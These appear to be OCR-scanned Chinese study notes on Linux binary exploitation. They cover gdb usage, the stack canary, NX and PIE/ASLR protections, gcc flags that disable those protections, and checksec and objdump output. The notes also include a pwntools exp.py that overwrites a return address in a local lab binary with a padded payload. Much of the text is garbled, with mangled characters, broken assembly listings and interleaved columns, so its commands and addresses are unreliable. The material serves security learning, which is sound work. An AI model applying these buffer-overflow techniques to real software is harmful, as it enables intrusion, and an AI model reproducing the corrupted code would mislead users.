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disass main /<743 i Fkmain B 177 455

root@YRJ:/

GNU gdb beunt 0409 -g

Copyright (C) Zﬂla Fr~ﬂ Software undati Inc

License GPLv3+: GNU GPL version 3 or le <http gnu.org/licenses/gpl.html>
This is free software: you & free To uhannu and redistribute it.

There is NO WARRANTY, to t L pe fted by law. Type "show copying"
and "show warranty" for

This GDB was configured as

Type "show configuration" for

For bug rﬂporTlnq 1anruuT10ns,

<http:/ : : /

Find - nanua nd oThPr documentation resources online at:

<http:/ .gnu.org/software/gdb/documentation/

For help, type "help".

Type "apropos word" to search for commands related to "word"...

Reading symbols from test...({no debugging symbols found)...done.
disass main
Dump of assembler code for function main:
0x0000000000000614 <+0=>: push rbp
0 100000000000615 >3 mov
JUGGUUGG@HGGbIS < - sub rsp,
GGGGGGBGGGGBIE < mov '
] < - mov
call
mov
mov
leave
) %00 ret
End of assembler dump.
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break 175
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break - &

break *#h itk

b main
Breakpoint 2 at @x555555554618
b *0x0000OOOEEOLERA5Ta

Breakpoint 3 at Ox5fa
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delete <MW id>: MHBRTE & Wi
delete: MIFRFTA B

clear

clear B %4

clear 175

clear Xff4: 175

clear X4 : BHA
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gCC -g main.c
gdb a.out

(gdb) start

(gdb)

(gdb) step/s

(gdb) backtrace/bt
(gdb) info/i locals
(gdb) frame/f

(gdb) print/p

(gdb) finish

(gdb) set var sum=90
(gdb) 1list/1 475k
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(gdb) display/undisplay sum
(gdb) break/b 75 HEL #
(gdb) continue/c
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(gdb) info/i breakpoints

(gdb) delete breakpoints 2

(gdb) disable/enable breakpoints 3

(gdb) break 9 if sum != @

(gdb) run/r

(gdb) watch input[4]

(gdb) info/i watchpoints A

(gdb) x/7b input T EN 4y , BT —H, 7--74
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2.1***1%4%5(]1%* *%%
2.1.1 Stack Protector (2 {##)

BRSR: HREARRTE, REFFHEPATRES AR R A cookielE B, R E IEREIK R ELXKiEcookielF BERE &
B, MEASEREFIERFEIT. Qi A8 fk B bk K AR S cookieF BAB R, TR R KM FH L
shellcode 14T . FELinuxs EA ¥ cookiels BFx Ncanary, BT LLXFH R 4 #k ACANNAPY,

2.1.2 NX (DEP)



NXENo-eXecute(R AT HAT) HIE B

EARJEHE: BEERENFEIAMRANATHAT, S5 4 H T Ashellcodely, BFRFaSRERIERE E#ITHS, MW
CPUBi&HIE RE, MAREZHITEEREES.

¥E: NXZ[FFWindows FHIDEP,

2.1.3 PIE (ASLR)

EARFE: AR HIUTEF RER ML, R ARSI A G EHT, PERMERFBRILEE —FEEFE
LB, XFEREFRERMBELR, HEENELFEERNR.

E: —RUE T NXRI s hE 2 18] A BEHALASLRZ F B TAE. A A7hhkBENLILHLE] (address space layout randomization), 7 LA
T=MER

0 - KRR B H bk 2 (R BE LA -

1 - RpR¥mmapiZEht, stackfivdso T FEHLIL -

2 - RoRTEEAE B3 INER (heap) MIBENLAL.

A LA 16 5 FRet2libc 7 R4 X DEPHI . ASLRFMIDEPELAEA, AeA BPH LB & R Ligfr B R NG,

22 wERPHEL

checksec+3X 444

VE: BEAErootB IR Tk

root@gidangge-virtual-machine: /home/qidangge/RHl/pwn# checksec hello
[#] '/home/gqidangge/\xe6\xa1l\x8c\xe9\x9d\xa2/pwn/hello'

Arch: amd64-64-1ittle
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

23 RIPHIXMEITE (gectE2)
% R
231 BRRYEITE 5 XA

#: BRAARFHRE
gcc -fstack-protector -o hello hello.c I/Ja FI#ERRY, it R ARHMAEF EH char H4H K R HoE N R

gcc -fstack-protector-all -o test test.c //ja FAHERRRY, FFTH B HUE N R ARG

gcc -fno-stack-protector -o test test.c /45 F AR

root@qidangge-virtual-machine: /home/qidangge/ 5 [H]/pwn# checksec hello
[#] '/home/qidangge/\xe6\xa1l\x8c\xe9\x9d\xa2/pwn/hello'

Arch: amd64-64-little

RELRO: Full RELRO

Stack: Canary found

NX: NX enabled

2K PIE enabled


https://blog.csdn.net/guilanl/article/details/62044617?ops_request_misc=&request_id=&biz_id=102&utm_term=shellcode&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-8-62044617.first_rank_v2_pc_rank_v29
https://blog.csdn.net/weixin_43092232/article/details/106390660?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522161642133916780271524849%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fall.%252522%25257D&request_id=161642133916780271524849&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-3-106390660.pc_search_result_before_js&utm_term=gcc%20pie%25E7%259A%2584%25E5%25BC%2580%25E5%2590%25AF

2.3.2NX (DEP) W iE5%H

gecdm FERREATF B TNXGET, WRFERFANXGED, W L4 gech %287 -z execstackZ $ .
0

gcc -z execstack -o hello hello.c

root@qidangge-virtual-machine: /home/qidangge/ R [H /pwn# checksec hello
[#] '/home/gildangge/\xe6\xal\x8c\xe9\x9d\xaz2/pwn/hello'

Arch: amd64-64-1little
RELRO: Full RELRO
Stack: No canary found
| NX: NX disabled

PIE: PIE enabled

RWX: Has RWX segments

WERRAEEFFENX, BATEL:
gcc -z noexecstack -o test test.c /| 7 JENX{RH

2.3.3 PIE(ASLR){FT )5 5% M

#: BRAARFRE
gcc -fpie -pie -o test test.c // F1 5 PIE L 58 B A 1
gcc -fPIE -pie -o test test.c /| FFJRPIE, JGAF i =5@E2

24 BF AR

objdumpiin 42 FHEE B A X8 AT AT B B b5 S B Igec TR . (linuxfis 4 K 4)
objdump -t -j .text hello//= 7 helloF2 5 i) textB A W & 57 %

FANRIR:

- name

—section=name XX &7~ 15 € 4 FF Inamesectionfi{5 &

t
—syms ERXHRIFSRAD . ETFrm-sRERER

root@qidangge-virtual-mazhine:/home/qidangge/%ﬁ/pwn# objdump -t -j .text hello

hello: XTI elf64-x86-64

SYMBOL TABLE:

00000000000004f0 1 d .text 00000000000CEE00 .text
0000000000000520 1 F .text 0000000000000000 deregister_tm_clones
0000000000000560 1 F .text 0000000000000000 register_tm_clones
00000000000005b0 1 F .text 0000000000000000 __do_global_dtors_aux
00000000000005f0 1 F .text 0000000000000000 frame_dummy
00000000000006b0 g F .text 0000000000000002 R Ty w0
00000000BOE00640 g F .text 0000000000000065 udibnbie esu st
00000000000004f0 g F .text 000000000000002b _start
0000000000000614 g F .text 0000000000000025 Matn ]
00000000000005fa g F .text 000000000000001a [Eggzj

4.— i B explI 4 B


https://man.linuxde.net/objdump
https://howiezhao.github.io/2018/04/29/payload-shellcode-exp-poc/
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*exp.py

End of a nbler dump.
- func from pwn import * 5 Apwnfl
Dump of as D code for function func:
0x08048481 <+0>: push ebp = process(”./read") #BIR—TEEMHE
Ix08048482 - oV ebp, esp
gngngj;-l : EO h ;E‘:'F P offset = 0x28 + ox4 EOIHBHAIIRES
0x08048485 - sub esp,0x24 payload = 'a'*offset + p32(0x08048456) #MHatliFEebpEEEZENEA
Ox08048488 < : call 0x80484db < XSG.QE"’ #C thunk. *pﬂ%,ﬁn‘lﬁe’qﬂﬁht, }ggzmﬁgexplnitmwzm
804848d add eax,0x1b73
(08048492 < sub esp, x4 p.sendline(payload) #MEEHIZRIZHIE
8048495 <+. push 0x50
(08048497 < - lea edx, [ebp-0x28]
804849a < push
Px0804849b < push
0x0804849d < mov
0x0804849f - call
(080484a4 <+35: add esp,0x10
Ox080484a7 <
0x080484a8 : oV obx ,DWORD PTR [ebp-0x4]
0x080484ab >

p.interactive() #IXELE{TEIIFEE

Python v BIEFRE: 8 v 1317, #

ebx,DWORD PTR [ebp-0x4]

) *exp.py
0x080484a t

End of as £ from pwn import * #§Apwnfl

disass exploit
Dump of assembler code for function exploit:

8456 B nish 2 g <
offset = 0x28 + Bx4 #HE[OPHLAVIRIS
=~ - mov e <
push d payload = 'a'*offset +|p32(0oxes )| rBaiiTebpMEEEZ BNTE
#p32RiE32{URYMAL, IESZARTexplot At

p = process("./read”) #BIR—TMEEHE

p.sendline(payload) »EEERE R R OR

)804846a p.interactive() #IKALETTEIIFIR

)8048470

8048471 < - e

8048473 C ¢]
0x08048478 e
0x0804847b <
0

ebx,DWORD PTR [ebp-0x4]

bW ww
N = 00~ B

End of assembler dump. Python v MEMHE: 8~ | H1345, TR v H>

ft4 exp?payload A4 ? B4 # FHpythondkEL ?
BiEYF PoC. Exp. Payload 5 Shellcode HI[X %l
expf@tT & pwntoolsHH < F

3.4 4 & canaryff i


https://xz.aliyun.com/t/3944
https://howiezhao.github.io/2018/04/29/payload-shellcode-exp-poc/
https://blog.csdn.net/qq_43474199/article/details/101455190?ops_request_misc=%25257B%252522request%25255Fid%252522%25253A%252522161692307016780269814362%252522%25252C%252522scm%252522%25253A%25252220140713.130102334.pc%25255Fall.%252522%25257D&request_id=161692307016780269814362&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-3-101455190.pc_search_result_before_js&utm_term=pwn%25E5%2586%2599exp%20payload&spm=1018.2226.3001.4187

faj Bk UL, canaryfRy AR LR B bt 2 BB A —ANBELEE, 2R B BT Se R I L e R B HCE B, R B U je Bk % B A AT
AT

HE3—T: &EFHIFESREA (£

LR :

Dump of assembler code for function main:
0x080484b6 <+0>: lea ecx, [esp+0x4]
Ox080484ba <+4>: and esp,Oxfffffffo
Ox080484bd <+7>: push DWORD PTR [ecx-0x4]
Ox080484cO <+10>: push ebp
0x080484cl <+11>: mov ebp,esp
0x080484c3 <+13>: push ebx

Ox080484c4 <+14>: push ecx

Ox080484c5 <+15>: sub esp,0x20

0x080484c8 <+18>: call 0x80483f0 < x86.get pc thunk.bx>
0x080484cd <+23>: add ebx,0x1b33

0x080484d3 <+29>: mov eax,gs:0x14

0x080484d9 <+35>: mov DWORD PTR [ebp-0xc],eax
0x080484dc <+38>: Xor eax,eax

URH: BFETE, Bl IMEIEARERE (BEHE) .

Ox080484fa <+68>: eax

0x080484fb <+69>: Ox8048360 <printf@plt>
Ox08048500 <+74>: esp,0x10

0x08048503 <+77>: eax, 0x0

Ox08048508 <+82>: edx,DWORD PTR [ebp-0xc]

Ox0804850b <+85>: edx,DWORD PTR gs:0x14
Ox08048512 <+92>: Ox8048519 <main+99>

0Ox08048514 <+94>: Ox80485a0 < stack chk fail local>
0x08048519 <+99>: esp, [ebp-0x8]
Ox0804851c <+102>: ecx

TERBLRAT, 2fFAxorfa S HATRE, A—Blljedki, TiXRE.
4. printds 1 R K 31k

https://bbs.ichunqgiu.com/thread-42943-1-1.html?from=Dbkyl
+https://bbs.pediy.com/thread-250858.htm


https://bbs.ichunqiu.com/thread-42943-1-1.html?from=bkyl
https://bbs.pediy.com/thread-250858.htm
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